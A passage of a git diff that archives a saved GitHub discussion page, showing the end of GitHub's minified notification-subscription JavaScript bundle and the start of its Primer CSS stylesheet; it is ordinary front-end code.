0:i?f(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&y(t,r,o),o},"__decorateClass");let b=u(class extends HTMLElement{constructor(){super();this.addEventListener("socket:message",this.update.bind(this))}update(e){const t=e.detail.data;!this.link||!this.modifier||(this.link.setAttribute("aria-label",t.aria_label),this.link.setAttribute("data-ga-click",t.ga_click),this.modifier.setAttribute("class",t.span_class))}},"NotificationIndicatorElement");l([s.fA],b.prototype,"link",2),l([s.fA],b.prototype,"modifier",2),b=l([s.Ih],b);var A=g(7679),D=g(56238),w=Object.defineProperty,I=Object.getOwnPropertyDescriptor,c=u((e,t,r,i)=>{for(var o=i>1?void 0:i?I(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&w(t,r,o),o},"notifications_list_subscription_form_element_decorateClass");let p=u(class extends HTMLElement{constructor(){super(...arguments);this.lastAppliedLabels={}}connectedCallback(){const e=this.querySelector(".js-label-subscriptions-load");e==null||e.addEventListener("loadend",()=>{this.subscriptionsLabels.length>0&&(this.updateCheckedState("custom"),this.updateMenuButtonCopy("custom"))})}async submitCustomForm(e){await this.submitForm(e),this.closeMenu()}async submitForm(e){e.preventDefault(),(0,A.H)();const t=e.currentTarget,r=new FormData(t),i=await self.fetch(t.action,{method:t.method,body:r,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,A.v)();return}const o=await i.json(),d=r.get("do");typeof d=="string"&&this.updateCheckedState(d),typeof d=="string"&&this.updateMenuButtonCopy(d),this.updateSocialCount(o.count),this.applyInputsCheckedPropertiesToAttributesForNextFormReset()}updateMenuButtonCopy(e){this.unwatchButtonCopy.hidden=!(e==="subscribed"||e==="custom"),this.stopIgnoringButtonCopy.hidden=e!=="ignore",this.watchButtonCopy.hidden=!(e!=="subscribed"&&e!=="custom"&&e!=="ignore")}applyInputsCheckedPropertiesToAttributesForNextFormReset(){for(const e of[...this.threadTypeCheckboxes])e.toggleAttribute("checked",e.checked)}updateCheckedState(e){for(const t of this.subscriptionButtons)t.setAttribute("aria-checked",t.value===e?"true":"false");if(e==="custom")this.customButton.setAttribute("aria-checked","true");else{this.customButton.setAttribute("aria-checked","false");for(const t of[...this.threadTypeCheckboxes])(0,D.Se)(t,!1);if(this.subscriptionsContainer!==void 0){for(let t=0;t{var t;(t=this.customDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}enableApplyButtonAndCheckbox(){this.customDialog.querySelectorAll('[data-type="label"]:not([hidden])').length>0&&(this.customSubmit.removeAttribute("disabled"),this.threadTypeCheckboxes[0].checked=!0)}closeCustomDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!1),this.customDialog.toggleAttribute("hidden",!0),setTimeout(()=>{this.customButton.focus()},0)}resetFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation();for(let t=0;t{var t;(t=this.filterLabelsDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}closeFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!0),this.customDialog.toggleAttribute("hidden",!1),this.filterLabelsDialog.toggleAttribute("hidden",!0)}applyFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.saveCurrentLabelsState(),this.hideFilterSubtitle(),this.enableIssuesCheckbox(),this.closeFilterLabelsDialog(e)}enableIssuesCheckbox(){const e=Object.keys(this.lastAppliedLabels).length>0;e&&this.threadTypeCheckboxes.length>0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){const e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={},this.labelInputs.innerHTML="";for(let e=0;et.checked);this.customSubmit.disabled=e}closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsListSubscriptionFormElement");c([s.fA],p.prototype,"details",2),c([s.fA],p.prototype,"menu",2),c([s.fA],p.prototype,"customButton",2),c([s.fA],p.prototype,"customDialog",2),c([s.fA],p.prototype,"filterLabelsDialog",2),c([s.GO],p.prototype,"subscriptionButtons",2),c([s.GO],p.prototype,"subscriptionsLabels",2),c([s.fA],p.prototype,"labelInputs",2),c([s.fA],p.prototype,"subscriptionsSubtitle",2),c([s.fA],p.prototype,"socialCount",2),c([s.fA],p.prototype,"unwatchButtonCopy",2),c([s.fA],p.prototype,"stopIgnoringButtonCopy",2),c([s.fA],p.prototype,"watchButtonCopy",2),c([s.GO],p.prototype,"threadTypeCheckboxes",2),c([s.fA],p.prototype,"customSubmit",2),c([s.fA],p.prototype,"subscriptionsContainer",2),c([s.GO],p.prototype,"dialogLabelItems",2),p=c([s.Ih],p);var k=Object.defineProperty,a=Object.getOwnPropertyDescriptor,n=u((e,t,r,i)=>{for(var o=i>1?void 0:i?a(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&k(t,r,o),o},"notifications_team_subscription_form_element_decorateClass");let h=u(class extends HTMLElement{closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsTeamSubscriptionFormElement");n([s.fA],h.prototype,"details",2),h=n([s.Ih],h);var v=Object.defineProperty,C=Object.getOwnPropertyDescriptor,T=u((e,t,r,i)=>{for(var o=i>1?void 0:i?C(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&v(t,r,o),o},"notifications_subscriptions_dialog_label_item_decorateClass");let E=u(class extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){const t=this.label.getAttribute("aria-checked")==="true";this.setCheckedForDropdownLabel(!t),this.dispatchEvent(new CustomEvent("notifications-dialog-label-toggled",{detail:{wasChecked:t,toggledLabelId:this.labelId,templateLabelElementClone:this.hiddenLabelTemplate.cloneNode(!0)},bubbles:!0}))}}setCheckedForDropdownLabel(e){this.label.setAttribute("aria-checked",e.toString())}},"NotificationsDialogLabelItemElement");T([s.fA],E.prototype,"label",2),T([s.fA],E.prototype,"hiddenLabelTemplate",2),T([s.fA],E.prototype,"hiddenCheckboxInput",2),T([s.Lj],E.prototype,"labelId",2),E=T([s.Ih],E)}},_=>{var L=u(s=>_(_.s=s),"__webpack_exec__");_.O(0,["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51"],()=>L(55089));var g=_.O()}]);})(); + +//# sourceMappingURL=notifications-global-efb6b04b1517.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css new file mode 100644 index 0000000..81c8b42 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css @@ -0,0 +1,13 @@ +:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-color-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: active){body{--color-accent-emphasis: Highlight;--color-fg-on-emphasis: LinkText}}/*! + * @primer/css/core + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.ActionList{padding:8px}.ActionList--full{padding:0}.ActionList--subGroup{padding:0}.ActionList--divided .ActionList-item-label::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline .ActionList-item-label::before{content:unset}.ActionList--divided .ActionList-item--navActive .ActionList-item-label::before,.ActionList--divided .ActionList-item--navActive+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-label::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-descriptionWrap--inline::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}.ActionList--tree{--ActionList-tree-depth: 1}.ActionList--tree .ActionList-item--subItem>.ActionList-content{font-size:14px}.ActionList--tree .ActionList-item.ActionList-item--singleton .ActionList-content{padding-left:32px}.ActionList--tree .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup{position:relative}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:calc(8px * var(--ActionList-tree-depth))}.ActionList--tree .ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(0deg)}.ActionList--tree .ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(-90deg)}.ActionList--tree .ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-item--hasSubItem .ActionList-item--subItem:not(.ActionList-item--hasSubItem) .ActionList-content>span:first-child{padding-left:24px}.ActionList--tree>[aria-level="1"].ActionList-item--hasSubItem>.ActionList--subGroup::before{position:absolute;left:16px;width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--tree .ActionList-item--hasSubItem:not([aria-level="1"])>.ActionList--subGroup::before{position:absolute;left:calc(8px * (var(--ActionList-tree-depth)) + 7px);width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList-item{position:relative;list-style:none;background-color:transparent;border-radius:6px}.ActionList-item:hover,.ActionList-item:active{cursor:pointer}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):hover:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}}.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background:var(--color-action-list-item-default-active-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):active:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{animation:ActionList-item-active-bg 4s forwards cubic-bezier(0.33, 1, 0.68, 1)}}@keyframes ActionList-item-active-bg{50%{box-shadow:inset 0 2px 12px 6px rgba(var(--color-canvas-default), 0.4);transform:scale(1)}100%{transform:scale(0.97)}}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}}.ActionList-item:not(.ActionList-item--hasSubItem):active .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):active+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content{z-index:1}@media(hover: hover){.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background-color:var(--color-action-list-item-default-active-bg)}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:600}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background:var(--color-action-list-item-default-selected-bg)}@media(hover: hover){.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::before,.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)+.ActionList-item::before{visibility:hidden}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectCheckmark{visibility:visible;opacity:1;transition:visibility 0 linear 0,opacity 50ms}.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{visibility:visible}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{animation:checkmarkIn 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-accent-fg);stroke:var(--color-accent-fg);stroke-width:1px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark{fill:var(--color-fg-on-emphasis)}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectCheckmark{visibility:hidden;opacity:0;transition:visibility 0 linear 50ms,opacity 50ms}.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{visibility:hidden;transition:visibility 0s linear 200ms;-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{animation:checkmarkOut 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);stroke:var(--color-border-default);stroke-width:1px}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);border:1px solid var(--color-border-default)}@keyframes checkmarkIn{from{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}to{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}}@keyframes checkmarkOut{from{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}to{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}}.ActionList-item.ActionList-item--danger .ActionList-item-label{color:var(--color-danger-fg)}.ActionList-item.ActionList-item--danger .ActionList-item-visual{color:var(--color-danger-fg)}@media(hover: hover){.ActionList-item.ActionList-item--danger:hover{background:var(--color-action-list-item-danger-hover-bg)}.ActionList-item.ActionList-item--danger:hover .ActionList-item-label{color:var(--color-action-list-item-danger-hover-text)}}.ActionList-item.ActionList-item--danger .ActionList-content:active{background:var(--color-action-list-item-danger-active-bg)}.ActionList-item .ActionList{padding:unset}.ActionList-content{position:relative;display:grid;width:100%;padding:6px 8px;font-size:14px;font-weight:400;color:var(--color-fg-default);text-align:left;-webkit-user-select:none;user-select:none;background-color:transparent;border:none;border-radius:6px;transition:background 33.333ms linear;touch-action:manipulation;touch-action:manipulation;-webkit-tap-highlight-color:transparent;grid-template-rows:min-content;grid-template-areas:"leadingAction leadingVisual label trailingVisual trailingAction";grid-template-columns:min-content min-content minmax(0, auto) min-content min-content;align-items:start}.ActionList-content>:not(:last-child){margin-right:8px}.ActionList-content:hover{text-decoration:none}.ActionList-content:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content:focus:not(:focus-visible){outline:solid 1px transparent}.ActionList-content:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content[aria-disabled=true] .ActionList-item-label,.ActionList-content[aria-disabled=true] .ActionList-item-description{color:var(--color-primer-fg-disabled)}.ActionList-content[aria-disabled=true] .ActionList-item-visual{fill:var(--color-primer-fg-disabled)}@media(hover: hover){.ActionList-content[aria-disabled=true]:hover{cursor:not-allowed;background-color:transparent}}@media screen and (prefers-reduced-motion: no-preference){.ActionList-content[aria-expanded]+.ActionList--subGroup{transition:opacity 160ms cubic-bezier(0.25, 1, 0.5, 1),transform 160ms cubic-bezier(0.25, 1, 0.5, 1)}}.ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:24px}.ActionList-content[aria-expanded].ActionList-content--visual16+.ActionList--subGroup .ActionList-content{padding-left:32px}.ActionList-content[aria-expanded].ActionList-content--visual20+.ActionList--subGroup .ActionList-content{padding-left:36px}.ActionList-content[aria-expanded].ActionList-content--visual24+.ActionList--subGroup .ActionList-content{padding-left:40px}.ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(-1)}.ActionList-content[aria-expanded=true]+.ActionList--subGroup{height:auto;overflow:visible;visibility:visible;opacity:1;transform:translateY(0)}.ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(1)}.ActionList-content[aria-expanded=false]+.ActionList--subGroup{height:0;overflow:hidden;visibility:hidden;opacity:0;transform:translateY(-16px)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem{background:var(--color-action-list-item-default-selected-bg)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem .ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::before,.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem+.ActionList-item::before{visibility:hidden}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-content.ActionList-content--sizeMedium{padding:10px 8px}.ActionList-content.ActionList-content--sizeLarge{padding:14px 8px}.ActionList-content.ActionList-content--fontSmall{font-size:12px}@media(pointer: coarse){.ActionList-content{padding:14px 8px}}.ActionList-content.ActionList-content--blockDescription .ActionList-item-visual{place-self:start}.ActionList-item-action--leading{grid-area:leadingAction}.ActionList-item-visual--leading{grid-area:leadingVisual}.ActionList-item-label{grid-area:label}.ActionList-item-visual--trailing{grid-area:trailingVisual}.ActionList-item-action--trailing{grid-area:trailingAction}.ActionList-item-descriptionWrap{grid-area:label;display:flex;flex-direction:column}.ActionList-item-descriptionWrap .ActionList-item-description{margin-top:4px}.ActionList-item-descriptionWrap .ActionList-item-label{font-weight:600}.ActionList-item-descriptionWrap--inline{position:relative;flex-direction:row;align-items:baseline}.ActionList-item-descriptionWrap--inline .ActionList-item-description{margin-left:8px}.ActionList-item-description{font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted)}.ActionList-item-visual,.ActionList-item-action{display:flex;min-height:20px;color:var(--color-fg-muted);pointer-events:none;fill:var(--color-fg-muted);align-items:center}.ActionList-item-label{position:relative;font-weight:400;line-height:20px;color:var(--color-fg-default)}.ActionList-item-label--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ActionList-item--subItem>.ActionList-content{font-size:12px}.ActionList-sectionDivider:not(:empty){display:flex;padding:6px 8px;font-size:12px;font-weight:600;color:var(--color-fg-muted);flex-direction:column}.ActionList-sectionDivider:empty{display:block;height:1px;padding:0;margin:7px -8px 8px;list-style:none;background:var(--color-action-list-item-inline-divider);border:0}.ActionList-sectionDivider .ActionList-sectionDivider-title{font-size:12px;font-weight:600;color:var(--color-fg-muted)}.ActionList-sectionDivider--filled{margin:8px -8px;background:var(--color-canvas-subtle);border-top:1px solid var(--color-action-list-item-inline-divider);border-bottom:1px solid var(--color-action-list-item-inline-divider)}.ActionList-sectionDivider--filled:empty{height:8px;box-sizing:border-box}.ActionList-sectionDivider--filled:first-child{margin-top:0}/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background-color:var(--color-attention-subtle);color:var(--color-text-primary)}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:600}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:14px;line-height:1.5;color:var(--color-fg-default);background-color:var(--color-canvas-default)}a{color:var(--color-accent-fg);text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--color-border-muted)}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}a,button,[role=button],input[type=radio],input[type=checkbox]{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}a:focus,button:focus,[role=button]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:focus:not(:focus-visible),button:focus:not(:focus-visible),[role=button]:focus:not(:focus-visible),input[type=radio]:focus:not(:focus-visible),input[type=checkbox]:focus:not(:focus-visible){outline:solid 1px transparent}a:focus-visible,button:focus-visible,[role=button]:focus-visible,input[type=radio]:focus-visible,input[type=checkbox]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:not([class]):focus,a:not([class]):focus-visible,input[type=radio]:focus,input[type=radio]:focus-visible,input[type=checkbox]:focus,input[type=checkbox]:focus-visible{outline-offset:0}.focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}@media(forced-colors: active){*:focus,*:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visible,select:focus,select:focus-visible{outline-offset:2px}}kbd{display:inline-block;padding:3px 5px;font:11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;line-height:10px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-subtle);border:solid 1px var(--color-neutral-muted);border-bottom-color:var(--color-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--color-neutral-muted)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code,samp{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.octicon{display:inline-block;overflow:visible !important;vertical-align:text-bottom;fill:currentColor}.Box{background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-radius:6px}.Box--condensed{line-height:1.25}.Box--condensed .Box-header{padding:8px 16px}.Box--condensed .Box-body{padding:8px 16px}.Box--condensed .Box-footer{padding:8px 16px}.Box--condensed .Box-btn-octicon.btn-octicon{padding:8px 16px;margin:-8px -16px;line-height:1.25}.Box--condensed .Box-row{padding:8px 16px}.Box--spacious .Box-header{padding:24px;line-height:1.25}.Box--spacious .Box-title{font-size:20px}.Box--spacious .Box-body{padding:24px}.Box--spacious .Box-footer{padding:24px}.Box--spacious .Box-btn-octicon.btn-octicon{padding:24px;margin:-24px -24px}.Box--spacious .Box-row{padding:24px}.Box-header{padding:16px;margin:-1px -1px 0;background-color:var(--color-canvas-subtle);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-title{font-size:14px;font-weight:600}.Box-body{padding:16px;border-bottom:1px solid var(--color-border-default)}.Box-body:last-of-type{margin-bottom:-1px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row{padding:16px;margin-top:-1px;list-style-type:none;border-top-color:var(--color-border-muted);border-top-style:solid;border-top-width:1px}.Box-row:first-of-type{border-top-left-radius:6px;border-top-right-radius:6px}.Box-row:last-of-type{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row.Box-row--unread,.Box-row.unread{box-shadow:inset 2px 0 0 var(--color-accent-emphasis)}.Box-row.navigation-focus .Box-row--drag-button{color:var(--color-accent-fg);cursor:grab;opacity:100}.Box-row.navigation-focus.is-dragging .Box-row--drag-button{cursor:grabbing}.Box-row.navigation-focus.sortable-chosen{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost .Box-row--drag-hide{opacity:0}.Box-row--focus-gray.navigation-focus{background-color:var(--color-canvas-subtle)}.Box-row--focus-blue.navigation-focus{background-color:var(--color-accent-subtle)}.Box-row--hover-gray:hover{background-color:var(--color-canvas-subtle)}.Box-row--hover-blue:hover{background-color:var(--color-accent-subtle)}@media(min-width: 